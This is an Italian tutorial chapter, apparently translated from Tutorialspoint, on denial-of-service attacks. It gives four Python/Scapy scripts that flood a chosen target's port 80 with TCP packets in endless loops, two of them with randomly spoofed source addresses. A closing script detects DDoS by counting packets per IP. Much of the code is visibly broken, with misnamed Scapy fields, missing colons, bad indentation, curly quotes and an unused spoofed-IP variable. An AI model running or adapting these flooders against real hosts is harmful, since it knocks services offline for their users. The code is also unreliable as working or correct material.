Attacco DoS e DDoS

In questo capitolo apprenderemo gli attacchi DoS e DdoS e capiremo come rilevarli.

Con il boom del settore dell'e-commerce, il server web è ora soggetto ad attacchi ed è un facile bersaglio per gli hacker. Gli hacker di solito tentano due tipi di attacco:

  • DoS (Denial-of-Service)
  • DDoS (Distributted Denial of Service)

Attacco DoS (Denial-of-Service)

L'attacco Denial of Service (DoS) è un tentativo degli hacker di rendere non disponibile una risorsa di rete. Di solito interrompe l'host, temporaneo o indefinito, che è connesso a Internet. Questi attacchi in genere prendono di mira servizi ospitati su server Web mission critical come banche, gateway di pagamento con carta di credito.

Sintomi dell'attacco DoS

  • Prestazioni di rete insolitamente lente.

  • Indisponibilità di un particolare sito web.

  • Impossibilità di accedere a qualsiasi sito web.

  • Drastico aumento del numero di e-mail di spam ricevute.

  • Negazione a lungo termine dell'accesso al Web o a qualsiasi servizio Internet.

  • Indisponibilità di un particolare sito web.

Tipi di attacco DoS e sua implementazione Python

L'attacco DoS può essere implementato a livello di collegamento dati, rete o applicazione. Vediamo ora di conoscere i diversi tipi di attacchi DoS &; la loro implementazione in Python -

Singola porta singola IP

Un gran numero di pacchetti viene inviato al server web utilizzando un singolo IP e da un unico numero di porta. È un attacco di basso livello che viene utilizzato per verificare il comportamento del server web. La sua implementazione in Python può essere eseguita con l'aiuto di Scapy. Il seguente script python aiuterà a implementare un attacco DoS a porta singola con IP singolo:

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt, inter = .001)
   
   print ("packet sent ", i)
      i = i + 1

Al momento dell'esecuzione, lo script precedente richiederà le seguenti tre cose:

  • Indirizzo IP di origine e destinazione.

  • Indirizzo IP del numero di porta di origine.

  • Quindi invierà un gran numero di pacchetti al server per controllarne il comportamento.

Porta multipla IP singolo

Un gran numero di pacchetti viene inviato al server web utilizzando un singolo IP e da più porte. La sua implementazione in Python può essere eseguita con l'aiuto di Scapy. Il seguente script python aiuterà a implementare un attacco DoS a porte multiple con IP singolo -

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt, inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

Porta singola IP multipla

Un gran numero di pacchetti viene inviato al server web utilizzando più IP e da un unico numero di porta. La sua implementazione in Python può essere eseguita con l'aiuto di Scapy. Il seguente script Python implementa un attacco DoS a porte multiple con IP singolo:

from scapy.all import *
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   
   Source_ip = a + dot + b + dot + c + dot + d
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt,inter = .001)
   print ("packet sent ", i)
      i = i + 1

Più porte IP multiple

Un gran numero di pacchetti viene inviato al server web utilizzando più IP e da più porte. La sua implementazione in Python può essere eseguita con l'aiuto di Scapy. Il seguente script Python aiuta a implementare più IP attacco DoS a più porte -

Import random
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   Source_ip = a + dot + b + dot + c + dot + d
   
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt,inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

Attacco DDoS (Distributed Denial-of-Service)

Un attacco Distributed Denial of Service (DDoS) è un tentativo di rendere non disponibile un servizio online o un sito Web sovraccaricandolo con enormi flussi di traffico generati da più fonti.

A differenza di un attacco Denial of Service (DoS), in cui un computer e una connessione Internet vengono utilizzati per inondare una risorsa mirata con pacchetti, un attacco DDoS utilizza molti computer e molte connessioni Internet, spesso distribuite a livello globale in quella che viene definita botnet . Un attacco DDoS volumetrico su larga scala può generare un traffico misurato in decine di Gigabit (e anche centinaia di Gigabit) al secondo. Può essere letto in dettaglio suhttps://www.tutorialspoint.com/ethical_hacking/ethical_hacking_ddos_attacks.htm.

Rilevamento di DDoS utilizzando Python

In realtà l'attacco DDoS è un po 'difficile da rilevare perché non sai che l'host che sta inviando il traffico è falso o reale. Lo script Python fornito di seguito aiuterà a rilevare l'attacco DDoS.

Per cominciare, importiamo le librerie necessarie:

import socket
import struct

from datetime import datetime

Ora creeremo un socket come abbiamo creato anche nelle sezioni precedenti.

s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)

Useremo un dizionario vuoto -

dict = {}

La seguente riga di codice aprirà un file di testo, con i dettagli dell'attacco DDoS in modalità di aggiunta.

file_txt = open("attack_DDoS.txt",'a')
t1 = str(datetime.now())

Con l'aiuto della seguente riga di codice, l'ora corrente verrà scritta ogni volta che il programma viene eseguito.

file_txt.writelines(t1)
file_txt.writelines("\n")

Ora, dobbiamo presumere gli hit da un particolare IP. Qui supponiamo che se un particolare IP viene colpito per più di 15 volte, sarebbe un attacco.

No_of_IPs = 15
R_No_of_IPs = No_of_IPs +10
   while True:
      pkt = s.recvfrom(2048)
      ipheader = pkt[0][14:34]
      ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
      IP = socket.inet_ntoa(ip_hdr[3])
      print "The Source of the IP is:", IP

La seguente riga di codice verificherà se l'IP esiste o meno nel dizionario. Se esiste, lo aumenterà di 1.

if dict.has_key(IP):
   dict[IP] = dict[IP]+1
   print dict[IP]

La riga di codice successiva viene utilizzata per rimuovere la ridondanza.

if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) :
   line = "DDOS attack is Detected: "
   file_txt.writelines(line)
   file_txt.writelines(IP)
   file_txt.writelines("\n")
else:
   dict[IP] = 1

Dopo aver eseguito lo script precedente, otterremo il risultato in un file di testo. Secondo lo script, se un IP colpisce per più di 15 volte, verrà stampato quando viene rilevato un attacco DDoS insieme a quell'indirizzo IP.